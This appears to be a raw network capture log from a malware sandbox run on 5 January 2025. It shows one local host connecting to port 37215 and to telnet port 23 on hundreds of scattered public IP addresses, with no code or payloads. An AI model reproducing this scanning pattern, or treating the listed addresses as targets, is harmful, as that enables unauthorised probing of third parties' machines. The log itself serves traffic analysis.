Jan 5, 2025 14:26:58.723349094 CET	56446	37215	192.168.2.13	156.61.184.201
Jan 5, 2025 14:26:58.723349094 CET	56446	37215	192.168.2.13	156.252.164.37
Jan 5, 2025 14:26:58.723352909 CET	56446	37215	192.168.2.13	156.37.95.169
Jan 5, 2025 14:26:58.723354101 CET	56446	37215	192.168.2.13	156.223.182.6
Jan 5, 2025 14:26:58.723357916 CET	56446	37215	192.168.2.13	156.40.104.222
Jan 5, 2025 14:26:58.723364115 CET	56446	37215	192.168.2.13	156.19.232.229
Jan 5, 2025 14:26:58.723371983 CET	56446	37215	192.168.2.13	156.157.87.176
Jan 5, 2025 14:26:58.723371983 CET	56446	37215	192.168.2.13	156.202.215.98
Jan 5, 2025 14:26:58.723377943 CET	56446	37215	192.168.2.13	156.49.215.146
Jan 5, 2025 14:26:58.723378897 CET	56446	37215	192.168.2.13	197.55.190.206
Jan 5, 2025 14:26:58.723378897 CET	56446	37215	192.168.2.13	41.45.113.221
Jan 5, 2025 14:26:58.723381996 CET	56446	37215	192.168.2.13	197.92.227.97
Jan 5, 2025 14:26:58.723381996 CET	56446	37215	192.168.2.13	156.164.226.250
Jan 5, 2025 14:26:58.723398924 CET	56446	37215	192.168.2.13	197.27.151.241
Jan 5, 2025 14:26:58.723401070 CET	56446	37215	192.168.2.13	41.199.151.113
Jan 5, 2025 14:26:58.723402977 CET	56446	37215	192.168.2.13	41.12.163.80
Jan 5, 2025 14:26:58.723404884 CET	56446	37215	192.168.2.13	197.187.253.97
Jan 5, 2025 14:26:58.723404884 CET	56446	37215	192.168.2.13	41.6.199.132
Jan 5, 2025 14:26:58.723406076 CET	56446	37215	192.168.2.13	156.112.113.199
Jan 5, 2025 14:26:58.723406076 CET	56446	37215	192.168.2.13	41.236.28.114
Jan 5, 2025 14:26:58.723412991 CET	56446	37215	192.168.2.13	197.255.147.187
Jan 5, 2025 14:26:58.723412991 CET	56446	37215	192.168.2.13	41.106.205.8
Jan 5, 2025 14:26:58.723412991 CET	56446	37215	192.168.2.13	156.38.27.214
Jan 5, 2025 14:26:58.723414898 CET	56446	37215	192.168.2.13	156.99.51.70
Jan 5, 2025 14:26:58.723414898 CET	56446	37215	192.168.2.13	156.26.150.252
Jan 5, 2025 14:26:58.723417044 CET	56446	37215	192.168.2.13	156.83.183.166
Jan 5, 2025 14:26:58.723422050 CET	56446	37215	192.168.2.13	197.50.96.100
Jan 5, 2025 14:26:58.723422050 CET	56446	37215	192.168.2.13	156.63.30.237
Jan 5, 2025 14:26:58.723423958 CET	56446	37215	192.168.2.13	41.49.238.187
Jan 5, 2025 14:26:58.723443985 CET	56446	37215	192.168.2.13	41.183.69.177
Jan 5, 2025 14:26:58.723546028 CET	56446	37215	192.168.2.13	197.245.199.119
Jan 5, 2025 14:26:58.724837065 CET	80	51548	145.68.152.40	192.168.2.13
Jan 5, 2025 14:26:58.724847078 CET	80	58970	122.69.36.230	192.168.2.13
Jan 5, 2025 14:26:58.724854946 CET	80	32770	109.245.147.71	192.168.2.13
Jan 5, 2025 14:26:58.724864006 CET	80	52008	72.243.207.101	192.168.2.13
Jan 5, 2025 14:26:58.724873066 CET	80	50018	47.221.220.24	192.168.2.13
Jan 5, 2025 14:26:58.724880934 CET	80	39692	37.54.72.91	192.168.2.13
Jan 5, 2025 14:26:58.724889040 CET	80	49678	206.50.172.164	192.168.2.13
Jan 5, 2025 14:26:58.724893093 CET	80	34110	221.136.12.9	192.168.2.13
Jan 5, 2025 14:26:58.724910021 CET	80	53882	223.121.127.185	192.168.2.13
Jan 5, 2025 14:26:58.724919081 CET	80	38536	209.62.110.93	192.168.2.13
Jan 5, 2025 14:26:58.724925995 CET	80	46050	134.102.166.128	192.168.2.13
Jan 5, 2025 14:26:58.724934101 CET	80	40760	89.193.248.250	192.168.2.13
Jan 5, 2025 14:26:58.724946976 CET	80	49246	152.11.162.118	192.168.2.13
Jan 5, 2025 14:26:58.724956036 CET	80	37558	70.59.100.39	192.168.2.13
Jan 5, 2025 14:26:58.724963903 CET	80	33168	47.223.128.61	192.168.2.13
Jan 5, 2025 14:26:58.724972963 CET	80	40292	202.59.61.14	192.168.2.13
Jan 5, 2025 14:26:58.724980116 CET	80	34374	145.19.0.251	192.168.2.13
Jan 5, 2025 14:26:58.724987984 CET	80	45020	212.2.227.97	192.168.2.13
Jan 5, 2025 14:26:58.724994898 CET	80	35984	174.78.99.129	192.168.2.13
Jan 5, 2025 14:26:58.725003004 CET	80	50226	91.66.172.72	192.168.2.13
Jan 5, 2025 14:26:58.725011110 CET	80	41350	153.128.164.130	192.168.2.13
Jan 5, 2025 14:26:58.729290962 CET	37215	56446	197.68.255.63	192.168.2.13
Jan 5, 2025 14:26:58.729305029 CET	80	53268	205.118.148.77	192.168.2.13
Jan 5, 2025 14:26:58.729315042 CET	80	41492	20.28.186.113	192.168.2.13
Jan 5, 2025 14:26:58.729324102 CET	80	59862	27.255.102.38	192.168.2.13
Jan 5, 2025 14:26:58.729331017 CET	56446	37215	192.168.2.13	197.68.255.63
Jan 5, 2025 14:26:58.729334116 CET	80	57070	34.20.189.80	192.168.2.13
Jan 5, 2025 14:26:58.729343891 CET	80	59566	198.40.82.222	192.168.2.13
Jan 5, 2025 14:26:58.729351997 CET	80	58202	205.205.167.21	192.168.2.13
Jan 5, 2025 14:26:58.729360104 CET	80	39330	177.15.51.100	192.168.2.13
Jan 5, 2025 14:26:58.729367971 CET	80	51924	67.6.202.35	192.168.2.13
Jan 5, 2025 14:26:58.729376078 CET	80	34620	19.181.176.189	192.168.2.13
Jan 5, 2025 14:26:58.729384899 CET	80	37306	205.84.6.154	192.168.2.13
Jan 5, 2025 14:26:58.729393005 CET	80	58878	95.225.137.142	192.168.2.13
Jan 5, 2025 14:26:58.729401112 CET	80	47058	183.75.42.187	192.168.2.13
Jan 5, 2025 14:26:58.729408979 CET	80	53770	85.165.50.215	192.168.2.13
Jan 5, 2025 14:26:58.729417086 CET	80	40220	49.38.20.8	192.168.2.13
Jan 5, 2025 14:26:58.729424953 CET	80	50578	159.50.39.200	192.168.2.13
Jan 5, 2025 14:26:58.729433060 CET	80	46236	144.228.47.121	192.168.2.13
Jan 5, 2025 14:26:58.729440928 CET	80	44508	210.251.76.35	192.168.2.13
Jan 5, 2025 14:26:58.729449034 CET	80	37904	27.187.204.8	192.168.2.13
Jan 5, 2025 14:26:58.729456902 CET	80	50896	208.31.46.129	192.168.2.13
Jan 5, 2025 14:26:58.729465961 CET	80	53732	201.24.10.218	192.168.2.13
Jan 5, 2025 14:26:58.729477882 CET	80	49662	118.1.42.140	192.168.2.13
Jan 5, 2025 14:26:58.729485989 CET	80	55412	187.215.170.91	192.168.2.13
Jan 5, 2025 14:26:58.729494095 CET	80	44078	186.233.155.56	192.168.2.13
Jan 5, 2025 14:26:58.729502916 CET	80	45906	77.148.102.80	192.168.2.13
Jan 5, 2025 14:26:58.729510069 CET	80	32958	213.52.106.216	192.168.2.13
Jan 5, 2025 14:26:58.729517937 CET	80	58814	94.49.139.13	192.168.2.13
Jan 5, 2025 14:26:58.729526043 CET	80	45622	108.5.168.211	192.168.2.13
Jan 5, 2025 14:26:58.729532957 CET	80	45650	167.140.115.101	192.168.2.13
Jan 5, 2025 14:26:58.729541063 CET	80	41512	170.114.235.83	192.168.2.13
Jan 5, 2025 14:26:58.729548931 CET	80	60054	150.85.84.94	192.168.2.13
Jan 5, 2025 14:26:58.729557991 CET	80	39518	43.23.21.100	192.168.2.13
Jan 5, 2025 14:26:58.729566097 CET	80	60122	140.140.181.59	192.168.2.13
Jan 5, 2025 14:26:58.760798931 CET	80	58752	169.25.166.142	192.168.2.13
Jan 5, 2025 14:26:58.975647926 CET	57214	23	192.168.2.13	139.151.217.253
Jan 5, 2025 14:26:58.975651979 CET	57214	23	192.168.2.13	121.38.132.40
Jan 5, 2025 14:26:58.975651979 CET	57214	23	192.168.2.13	193.61.81.158
Jan 5, 2025 14:26:58.975666046 CET	57214	23	192.168.2.13	126.242.164.67
Jan 5, 2025 14:26:58.975666046 CET	57214	23	192.168.2.13	14.33.58.181
Jan 5, 2025 14:26:58.975667000 CET	57214	23	192.168.2.13	122.151.42.193
Jan 5, 2025 14:26:58.975668907 CET	57214	23	192.168.2.13	44.106.252.6
Jan 5, 2025 14:26:58.975681067 CET	57214	23	192.168.2.13	132.239.4.85
Jan 5, 2025 14:26:58.975681067 CET	57214	23	192.168.2.13	2.160.225.24
Jan 5, 2025 14:26:58.975682974 CET	57214	23	192.168.2.13	195.234.80.41
Jan 5, 2025 14:26:58.975682974 CET	57214	23	192.168.2.13	36.111.231.55
Jan 5, 2025 14:26:58.975687027 CET	57214	23	192.168.2.13	89.113.13.111
Jan 5, 2025 14:26:58.975691080 CET	57214	23	192.168.2.13	83.201.93.72
Jan 5, 2025 14:26:58.975691080 CET	57214	23	192.168.2.13	150.63.113.207
Jan 5, 2025 14:26:58.975691080 CET	57214	23	192.168.2.13	79.79.21.128
Jan 5, 2025 14:26:58.975697041 CET	57214	23	192.168.2.13	78.16.75.218
Jan 5, 2025 14:26:58.975717068 CET	57214	23	192.168.2.13	79.114.182.161
Jan 5, 2025 14:26:58.975718021 CET	57214	23	192.168.2.13	24.238.133.51
Jan 5, 2025 14:26:58.975718975 CET	57214	23	192.168.2.13	117.174.79.169
Jan 5, 2025 14:26:58.975718975 CET	57214	23	192.168.2.13	169.157.232.52
Jan 5, 2025 14:26:58.975719929 CET	57214	23	192.168.2.13	104.25.138.241
Jan 5, 2025 14:26:58.975737095 CET	57214	23	192.168.2.13	194.202.171.104
Jan 5, 2025 14:26:58.975737095 CET	57214	23	192.168.2.13	221.224.226.6
Jan 5, 2025 14:26:58.975739956 CET	57214	23	192.168.2.13	181.251.148.180
Jan 5, 2025 14:26:58.975742102 CET	57214	23	192.168.2.13	75.19.192.10
Jan 5, 2025 14:26:58.975744009 CET	57214	23	192.168.2.13	196.221.185.118
Jan 5, 2025 14:26:58.975744009 CET	57214	23	192.168.2.13	92.149.110.36
Jan 5, 2025 14:26:58.975744009 CET	57214	23	192.168.2.13	210.178.189.2
Jan 5, 2025 14:26:58.975749969 CET	57214	23	192.168.2.13	92.201.134.65
Jan 5, 2025 14:26:58.975749969 CET	57214	23	192.168.2.13	132.147.35.165
Jan 5, 2025 14:26:58.975753069 CET	57214	23	192.168.2.13	183.194.204.83
Jan 5, 2025 14:26:58.975765944 CET	57214	23	192.168.2.13	172.253.202.104
Jan 5, 2025 14:26:58.975766897 CET	57214	23	192.168.2.13	141.212.132.74
Jan 5, 2025 14:26:58.975768089 CET	57214	23	192.168.2.13	195.238.156.23
Jan 5, 2025 14:26:58.975768089 CET	57214	23	192.168.2.13	35.247.116.82
Jan 5, 2025 14:26:58.975766897 CET	57214	23	192.168.2.13	95.105.104.250
Jan 5, 2025 14:26:58.975768089 CET	57214	23	192.168.2.13	88.51.109.115
Jan 5, 2025 14:26:58.975768089 CET	57214	23	192.168.2.13	36.129.224.72
Jan 5, 2025 14:26:58.975771904 CET	57214	23	192.168.2.13	172.49.103.115
Jan 5, 2025 14:26:58.975771904 CET	57214	23	192.168.2.13	209.201.208.1
Jan 5, 2025 14:26:58.975774050 CET	57214	23	192.168.2.13	195.121.145.78
Jan 5, 2025 14:26:58.975775957 CET	57214	23	192.168.2.13	170.237.242.7
Jan 5, 2025 14:26:58.975779057 CET	57214	23	192.168.2.13	114.88.154.180
Jan 5, 2025 14:26:58.975780964 CET	57214	23	192.168.2.13	12.232.38.232
Jan 5, 2025 14:26:58.975781918 CET	57214	23	192.168.2.13	130.255.31.210
Jan 5, 2025 14:26:58.975781918 CET	57214	23	192.168.2.13	62.8.161.47
Jan 5, 2025 14:26:58.975783110 CET	57214	23	192.168.2.13	102.68.212.181
Jan 5, 2025 14:26:58.975792885 CET	57214	23	192.168.2.13	198.150.114.153
Jan 5, 2025 14:26:58.975795031 CET	57214	23	192.168.2.13	9.65.0.35
Jan 5, 2025 14:26:58.975795031 CET	57214	23	192.168.2.13	125.41.147.154
Jan 5, 2025 14:26:58.975800037 CET	57214	23	192.168.2.13	32.145.163.134
Jan 5, 2025 14:26:58.975805998 CET	57214	23	192.168.2.13	73.199.241.133
Jan 5, 2025 14:26:58.975810051 CET	57214	23	192.168.2.13	64.108.206.8
Jan 5, 2025 14:26:58.975815058 CET	57214	23	192.168.2.13	132.175.8.138
Jan 5, 2025 14:26:58.975815058 CET	57214	23	192.168.2.13	80.170.250.195
Jan 5, 2025 14:26:58.975826025 CET	57214	23	192.168.2.13	142.157.36.213
Jan 5, 2025 14:26:58.975826025 CET	57214	23	192.168.2.13	143.98.195.211
Jan 5, 2025 14:26:58.975826025 CET	57214	23	192.168.2.13	18.20.175.16
Jan 5, 2025 14:26:58.975826979 CET	57214	23	192.168.2.13	105.164.168.227
Jan 5, 2025 14:26:58.975826025 CET	57214	23	192.168.2.13	204.37.249.1
Jan 5, 2025 14:26:58.975826979 CET	57214	23	192.168.2.13	110.123.13.36
Jan 5, 2025 14:26:58.975832939 CET	57214	23	192.168.2.13	125.207.152.209
Jan 5, 2025 14:26:58.975836039 CET	57214	23	192.168.2.13	202.86.27.4
Jan 5, 2025 14:26:58.975842953 CET	57214	23	192.168.2.13	133.173.100.37
Jan 5, 2025 14:26:58.975845098 CET	57214	23	192.168.2.13	143.124.96.93
Jan 5, 2025 14:26:58.975847960 CET	57214	23	192.168.2.13	90.78.118.133
Jan 5, 2025 14:26:58.975848913 CET	57214	23	192.168.2.13	67.17.103.233
Jan 5, 2025 14:26:58.975855112 CET	57214	23	192.168.2.13	37.71.130.118
Jan 5, 2025 14:26:58.975867987 CET	57214	23	192.168.2.13	169.188.91.227
Jan 5, 2025 14:26:58.975867987 CET	57214	23	192.168.2.13	190.187.51.127
Jan 5, 2025 14:26:58.975873947 CET	57214	23	192.168.2.13	2.247.31.225
Jan 5, 2025 14:26:58.975877047 CET	57214	23	192.168.2.13	82.102.246.105
Jan 5, 2025 14:26:58.975877047 CET	57214	23	192.168.2.13	211.153.99.107
Jan 5, 2025 14:26:58.975877047 CET	57214	23	192.168.2.13	152.175.35.47
Jan 5, 2025 14:26:58.975878954 CET	57214	23	192.168.2.13	162.16.212.50
Jan 5, 2025 14:26:58.975879908 CET	57214	23	192.168.2.13	200.174.50.63
Jan 5, 2025 14:26:58.975886106 CET	57214	23	192.168.2.13	85.252.12.184
Jan 5, 2025 14:26:58.975887060 CET	57214	23	192.168.2.13	24.96.102.20
Jan 5, 2025 14:26:58.975887060 CET	57214	23	192.168.2.13	102.12.19.109
Jan 5, 2025 14:26:58.975902081 CET	57214	23	192.168.2.13	198.225.55.120
Jan 5, 2025 14:26:58.975902081 CET	57214	23	192.168.2.13	208.50.8.154
Jan 5, 2025 14:26:58.975902081 CET	57214	23	192.168.2.13	81.211.107.63
Jan 5, 2025 14:26:58.975902081 CET	57214	23	192.168.2.13	130.24.114.149
Jan 5, 2025 14:26:58.975903988 CET	57214	23	192.168.2.13	88.95.153.119
Jan 5, 2025 14:26:58.975902081 CET	57214	23	192.168.2.13	192.173.244.14
Jan 5, 2025 14:26:58.975902081 CET	57214	23	192.168.2.13	38.178.150.234
Jan 5, 2025 14:26:58.975908995 CET	57214	23	192.168.2.13	130.203.207.158
Jan 5, 2025 14:26:58.975908995 CET	57214	23	192.168.2.13	130.141.85.250
Jan 5, 2025 14:26:58.975909948 CET	57214	23	192.168.2.13	161.235.62.138
Jan 5, 2025 14:26:58.975909948 CET	57214	23	192.168.2.13	136.0.121.9
Jan 5, 2025 14:26:58.975917101 CET	57214	23	192.168.2.13	4.72.107.128
Jan 5, 2025 14:26:58.975929976 CET	57214	23	192.168.2.13	32.166.24.186
Jan 5, 2025 14:26:58.975933075 CET	57214	23	192.168.2.13	128.25.85.27
Jan 5, 2025 14:26:58.975933075 CET	57214	23	192.168.2.13	202.236.35.145
Jan 5, 2025 14:26:58.975938082 CET	57214	23	192.168.2.13	144.159.1.208
Jan 5, 2025 14:26:58.975940943 CET	57214	23	192.168.2.13	190.143.182.181
Jan 5, 2025 14:26:58.975940943 CET	57214	23	192.168.2.13	120.214.235.153
Jan 5, 2025 14:26:58.975941896 CET	57214	23	192.168.2.13	162.142.184.150
Jan 5, 2025 14:26:58.975941896 CET	57214	23	192.168.2.13	17.104.144.173
Jan 5, 2025 14:26:58.975949049 CET	57214	23	192.168.2.13	183.2.215.143
Jan 5, 2025 14:26:58.975949049 CET	57214	23	192.168.2.13	132.58.47.178
Jan 5, 2025 14:26:58.975949049 CET	57214	23	192.168.2.13	5.160.211.41
Jan 5, 2025 14:26:58.975950956 CET	57214	23	192.168.2.13	72.169.124.74
Jan 5, 2025 14:26:58.975950956 CET	57214	23	192.168.2.13	54.17.164.246
Jan 5, 2025 14:26:58.975951910 CET	57214	23	192.168.2.13	198.53.243.38
Jan 5, 2025 14:26:58.975961924 CET	57214	23	192.168.2.13	179.18.57.186
Jan 5, 2025 14:26:58.975961924 CET	57214	23	192.168.2.13	124.169.94.103
Jan 5, 2025 14:26:58.975961924 CET	57214	23	192.168.2.13	126.166.94.152
Jan 5, 2025 14:26:58.975961924 CET	57214	23	192.168.2.13	160.8.219.127
Jan 5, 2025 14:26:58.975976944 CET	57214	23	192.168.2.13	122.17.96.219
Jan 5, 2025 14:26:58.975990057 CET	57214	23	192.168.2.13	223.38.66.76
Jan 5, 2025 14:26:58.975996971 CET	57214	23	192.168.2.13	196.70.50.125
Jan 5, 2025 14:26:58.975996971 CET	57214	23	192.168.2.13	17.185.252.17
Jan 5, 2025 14:26:58.976002932 CET	57214	23	192.168.2.13	89.65.181.1
Jan 5, 2025 14:26:58.976005077 CET	57214	23	192.168.2.13	116.148.62.22
Jan 5, 2025 14:26:58.976010084 CET	57214	23	192.168.2.13	149.137.200.170
Jan 5, 2025 14:26:58.976011992 CET	57214	23	192.168.2.13	61.173.108.30
Jan 5, 2025 14:26:58.976022959 CET	57214	23	192.168.2.13	106.99.71.221
Jan 5, 2025 14:26:58.976022959 CET	57214	23	192.168.2.13	23.14.161.103
Jan 5, 2025 14:26:58.976031065 CET	57214	23	192.168.2.13	119.127.1.102
Jan 5, 2025 14:26:58.976035118 CET	57214	23	192.168.2.13	1.176.112.80
Jan 5, 2025 14:26:58.976036072 CET	57214	23	192.168.2.13	150.85.26.44
Jan 5, 2025 14:26:58.976036072 CET	57214	23	192.168.2.13	94.126.235.53
Jan 5, 2025 14:26:58.976038933 CET	57214	23	192.168.2.13	161.43.63.94
Jan 5, 2025 14:26:58.976038933 CET	57214	23	192.168.2.13	48.138.111.137
Jan 5, 2025 14:26:58.976038933 CET	57214	23	192.168.2.13	36.30.1.6
Jan 5, 2025 14:26:58.976039886 CET	57214	23	192.168.2.13	188.250.150.84
Jan 5, 2025 14:26:58.976039886 CET	57214	23	192.168.2.13	186.219.143.196
Jan 5, 2025 14:26:58.976042032 CET	57214	23	192.168.2.13	156.47.245.52
Jan 5, 2025 14:26:58.976046085 CET	57214	23	192.168.2.13	98.2.146.22
Jan 5, 2025 14:26:58.976046085 CET	57214	23	192.168.2.13	140.178.66.162
Jan 5, 2025 14:26:58.976046085 CET	57214	23	192.168.2.13	158.151.219.212
Jan 5, 2025 14:26:58.976046085 CET	57214	23	192.168.2.13	79.123.203.141
Jan 5, 2025 14:26:58.976054907 CET	57214	23	192.168.2.13	83.107.183.20
Jan 5, 2025 14:26:58.976085901 CET	57214	23	192.168.2.13	119.229.47.74
Jan 5, 2025 14:26:58.976085901 CET	57214	23	192.168.2.13	207.89.88.166
Jan 5, 2025 14:26:58.976088047 CET	57214	23	192.168.2.13	98.151.132.210
Jan 5, 2025 14:26:58.976088047 CET	57214	23	192.168.2.13	197.195.69.162
Jan 5, 2025 14:26:58.976089001 CET	57214	23	192.168.2.13	49.75.45.25
Jan 5, 2025 14:26:58.976089954 CET	57214	23	192.168.2.13	211.150.221.236
Jan 5, 2025 14:26:58.976094961 CET	57214	23	192.168.2.13	97.72.249.166
Jan 5, 2025 14:26:58.976095915 CET	57214	23	192.168.2.13	105.181.25.121
Jan 5, 2025 14:26:58.976099014 CET	57214	23	192.168.2.13	181.16.224.214
Jan 5, 2025 14:26:58.976104021 CET	57214	23	192.168.2.13	14.247.135.133
Jan 5, 2025 14:26:58.976109028 CET	57214	23	192.168.2.13	203.215.149.51
Jan 5, 2025 14:26:58.976110935 CET	57214	23	192.168.2.13	119.78.213.123
Jan 5, 2025 14:26:58.976111889 CET	57214	23	192.168.2.13	75.131.178.120
Jan 5, 2025 14:26:58.976114035 CET	57214	23	192.168.2.13	165.11.48.102
Jan 5, 2025 14:26:58.976115942 CET	57214	23	192.168.2.13	120.108.35.129
Jan 5, 2025 14:26:58.976118088 CET	57214	23	192.168.2.13	137.38.130.176
Jan 5, 2025 14:26:58.976114035 CET	57214	23	192.168.2.13	221.138.171.19
Jan 5, 2025 14:26:58.976114035 CET	57214	23	192.168.2.13	116.139.138.123
Jan 5, 2025 14:26:58.976121902 CET	57214	23	192.168.2.13	61.115.255.138
Jan 5, 2025 14:26:58.976140022 CET	57214	23	192.168.2.13	140.209.209.121
Jan 5, 2025 14:26:58.976140976 CET	57214	23	192.168.2.13	37.70.11.183
Jan 5, 2025 14:26:58.976142883 CET	57214	23	192.168.2.13	199.248.186.88
Jan 5, 2025 14:26:58.976144075 CET	57214	23	192.168.2.13	131.72.170.190
Jan 5, 2025 14:26:58.976150990 CET	57214	23	192.168.2.13	216.118.45.195
Jan 5, 2025 14:26:58.976151943 CET	57214	23	192.168.2.13	53.42.180.161
Jan 5, 2025 14:26:58.976152897 CET	57214	23	192.168.2.13	128.243.85.21
Jan 5, 2025 14:26:58.976150990 CET	57214	23	192.168.2.13	110.194.147.78
Jan 5, 2025 14:26:58.976152897 CET	57214	23	192.168.2.13	221.232.79.56
Jan 5, 2025 14:26:58.976150990 CET	57214	23	192.168.2.13	96.50.175.146
Jan 5, 2025 14:26:58.976178885 CET	57214	23	192.168.2.13	148.5.10.107
Jan 5, 2025 14:26:58.976178885 CET	57214	23	192.168.2.13	20.244.243.90
Jan 5, 2025 14:26:58.976180077 CET	57214	23	192.168.2.13	211.102.22.72
Jan 5, 2025 14:26:58.976178885 CET	57214	23	192.168.2.13	180.63.60.127
Jan 5, 2025 14:26:58.976182938 CET	57214	23	192.168.2.13	172.243.255.221
Jan 5, 2025 14:26:58.976185083 CET	57214	23	192.168.2.13	102.64.156.168
Jan 5, 2025 14:26:58.976195097 CET	57214	23	192.168.2.13	141.159.239.200
Jan 5, 2025 14:26:58.976193905 CET	57214	23	192.168.2.13	62.214.106.190
Jan 5, 2025 14:26:58.976196051 CET	57214	23	192.168.2.13	126.192.58.191
Jan 5, 2025 14:26:58.976196051 CET	57214	23	192.168.2.13	161.88.38.237
Jan 5, 2025 14:26:58.976200104 CET	57214	23	192.168.2.13	151.34.79.154
Jan 5, 2025 14:26:58.976200104 CET	57214	23	192.168.2.13	67.228.227.145
Jan 5, 2025 14:26:58.976202965 CET	57214	23	192.168.2.13	193.88.66.243
Jan 5, 2025 14:26:58.976202965 CET	57214	23	192.168.2.13	209.217.53.26
Jan 5, 2025 14:26:58.976202965 CET	57214	23	192.168.2.13	37.196.227.120
Jan 5, 2025 14:26:58.976217985 CET	57214	23	192.168.2.13	158.207.72.139
Jan 5, 2025 14:26:58.976217985 CET	57214	23	192.168.2.13	54.245.42.79
Jan 5, 2025 14:26:58.976219893 CET	57214	23	192.168.2.13	103.22.86.66
Jan 5, 2025 14:26:58.976219893 CET	57214	23	192.168.2.13	166.210.229.68
Jan 5, 2025 14:26:58.976219893 CET	57214	23	192.168.2.13	17.111.157.3
Jan 5, 2025 14:26:58.976227999 CET	57214	23	192.168.2.13	210.141.110.116
Jan 5, 2025 14:26:58.976237059 CET	57214	23	192.168.2.13	222.84.212.247
Jan 5, 2025 14:26:58.976238966 CET	57214	23	192.168.2.13	148.153.97.222
Jan 5, 2025 14:26:58.976238966 CET	57214	23	192.168.2.13	72.221.237.13
Jan 5, 2025 14:26:58.976243019 CET	57214	23	192.168.2.13	38.82.236.178
Jan 5, 2025 14:26:58.976243019 CET	57214	23	192.168.2.13	173.33.120.222
Jan 5, 2025 14:26:58.976243019 CET	57214	23	192.168.2.13	116.54.24.14
Jan 5, 2025 14:26:58.976246119 CET	57214	23	192.168.2.13	141.248.69.74
Jan 5, 2025 14:26:58.976246119 CET	57214	23	192.168.2.13	43.7.212.244
Jan 5, 2025 14:26:58.976246119 CET	57214	23	192.168.2.13	32.238.45.214
Jan 5, 2025 14:26:58.976247072 CET	57214	23	192.168.2.13	187.136.28.117
Jan 5, 2025 14:26:58.976257086 CET	57214	23	192.168.2.13	149.131.153.102
Jan 5, 2025 14:26:58.976264000 CET	57214	23	192.168.2.13	91.24.225.173
Jan 5, 2025 14:26:58.976264000 CET	57214	23	192.168.2.13	199.187.171.222
Jan 5, 2025 14:26:58.976264000 CET	57214	23	192.168.2.13	47.119.8.67
Jan 5, 2025 14:26:58.976274014 CET	57214	23	192.168.2.13	182.158.43.15
Jan 5, 2025 14:26:58.976274967 CET	57214	23	192.168.2.13	132.89.144.168
Jan 5, 2025 14:26:58.976277113 CET	57214	23	192.168.2.13	183.177.155.15
Jan 5, 2025 14:26:58.976277113 CET	57214	23	192.168.2.13	89.85.3.89
Jan 5, 2025 14:26:58.976285934 CET	57214	23	192.168.2.13	135.237.110.177
Jan 5, 2025 14:26:58.976285934 CET	57214	23	192.168.2.13	216.63.138.18
Jan 5, 2025 14:26:58.976286888 CET	57214	23	192.168.2.13	14.209.171.53
Jan 5, 2025 14:26:58.976290941 CET	57214	23	192.168.2.13	75.111.47.15
Jan 5, 2025 14:26:58.976290941 CET	57214	23	192.168.2.13	174.159.165.212
Jan 5, 2025 14:26:58.976298094 CET	57214	23	192.168.2.13	70.222.88.87
Jan 5, 2025 14:26:58.976298094 CET	57214	23	192.168.2.13	27.12.246.169
Jan 5, 2025 14:26:58.976298094 CET	57214	23	192.168.2.13	156.159.105.85
Jan 5, 2025 14:26:58.976299047 CET	57214	23	192.168.2.13	121.20.185.59
Jan 5, 2025 14:26:58.976299047 CET	57214	23	192.168.2.13	75.79.182.237
Jan 5, 2025 14:26:58.976304054 CET	57214	23	192.168.2.13	201.232.221.146
Jan 5, 2025 14:26:58.976304054 CET	57214	23	192.168.2.13	18.124.254.163
Jan 5, 2025 14:26:58.976315975 CET	57214	23	192.168.2.13	154.131.175.221
Jan 5, 2025 14:26:58.976315975 CET	57214	23	192.168.2.13	38.203.27.5
Jan 5, 2025 14:26:58.976320028 CET	57214	23	192.168.2.13	143.234.27.111
Jan 5, 2025 14:26:58.976320028 CET	57214	23	192.168.2.13	45.31.17.196
Jan 5, 2025 14:26:58.976320982 CET	57214	23	192.168.2.13	61.134.217.194
Jan 5, 2025 14:26:58.976321936 CET	57214	23	192.168.2.13	119.174.239.161
Jan 5, 2025 14:26:58.976330996 CET	57214	23	192.168.2.13	167.212.186.227
Jan 5, 2025 14:26:58.976331949 CET	57214	23	192.168.2.13	54.14.253.213
Jan 5, 2025 14:26:58.976335049 CET	57214	23	192.168.2.13	126.250.154.150
Jan 5, 2025 14:26:58.976335049 CET	57214	23	192.168.2.13	187.4.247.42
Jan 5, 2025 14:26:58.976341963 CET	57214	23	192.168.2.13	217.211.72.239
Jan 5, 2025 14:26:58.976356030 CET	57214	23	192.168.2.13	135.232.245.163
Jan 5, 2025 14:26:58.976356983 CET	57214	23	192.168.2.13	128.30.162.182
Jan 5, 2025 14:26:58.976357937 CET	57214	23	192.168.2.13	200.203.7.136
Jan 5, 2025 14:26:58.976358891 CET	57214	23	192.168.2.13	91.149.77.126
Jan 5, 2025 14:26:58.976357937 CET	57214	23	192.168.2.13	118.35.68.75
Jan 5, 2025 14:26:58.976357937 CET	57214	23	192.168.2.13	77.245.152.194
Jan 5, 2025 14:26:58.976356983 CET	57214	23	192.168.2.13	216.237.145.236
Jan 5, 2025 14:26:58.976356983 CET	57214	23	192.168.2.13	121.155.182.222
Jan 5, 2025 14:26:58.976356983 CET	57214	23	192.168.2.13	39.31.110.243
Jan 5, 2025 14:26:58.976372004 CET	57214	23	192.168.2.13	90.113.235.172
Jan 5, 2025 14:26:58.976372004 CET	57214	23	192.168.2.13	136.18.28.68
Jan 5, 2025 14:26:58.976372004 CET	57214	23	192.168.2.13	201.82.127.156
Jan 5, 2025 14:26:58.976373911 CET	57214	23	192.168.2.13	68.139.111.255
Jan 5, 2025 14:26:58.976375103 CET	57214	23	192.168.2.13	193.6.241.29
Jan 5, 2025 14:26:58.976375103 CET	57214	23	192.168.2.13	187.104.132.82
Jan 5, 2025 14:26:58.976378918 CET	57214	23	192.168.2.13	92.162.151.51
Jan 5, 2025 14:26:58.976382017 CET	57214	23	192.168.2.13	97.26.117.130
Jan 5, 2025 14:26:58.976387978 CET	57214	23	192.168.2.13	193.220.22.248
Jan 5, 2025 14:26:58.976389885 CET	57214	23	192.168.2.13	135.247.94.129
Jan 5, 2025 14:26:58.976402044 CET	57214	23	192.168.2.13	23.49.194.136
Jan 5, 2025 14:26:58.976402044 CET	57214	23	192.168.2.13	4.121.61.253
Jan 5, 2025 14:26:58.976402044 CET	57214	23	192.168.2.13	163.136.76.182
Jan 5, 2025 14:26:58.976408005 CET	57214	23	192.168.2.13	107.209.243.134
Jan 5, 2025 14:26:58.976408958 CET	57214	23	192.168.2.13	120.230.140.45
Jan 5, 2025 14:26:58.976408958 CET	57214	23	192.168.2.13	144.17.253.189
Jan 5, 2025 14:26:58.976413965 CET	57214	23	192.168.2.13	133.152.32.42
Jan 5, 2025 14:26:58.976413965 CET	57214	23	192.168.2.13	177.57.92.39
Jan 5, 2025 14:26:58.976418018 CET	57214	23	192.168.2.13	219.117.32.157
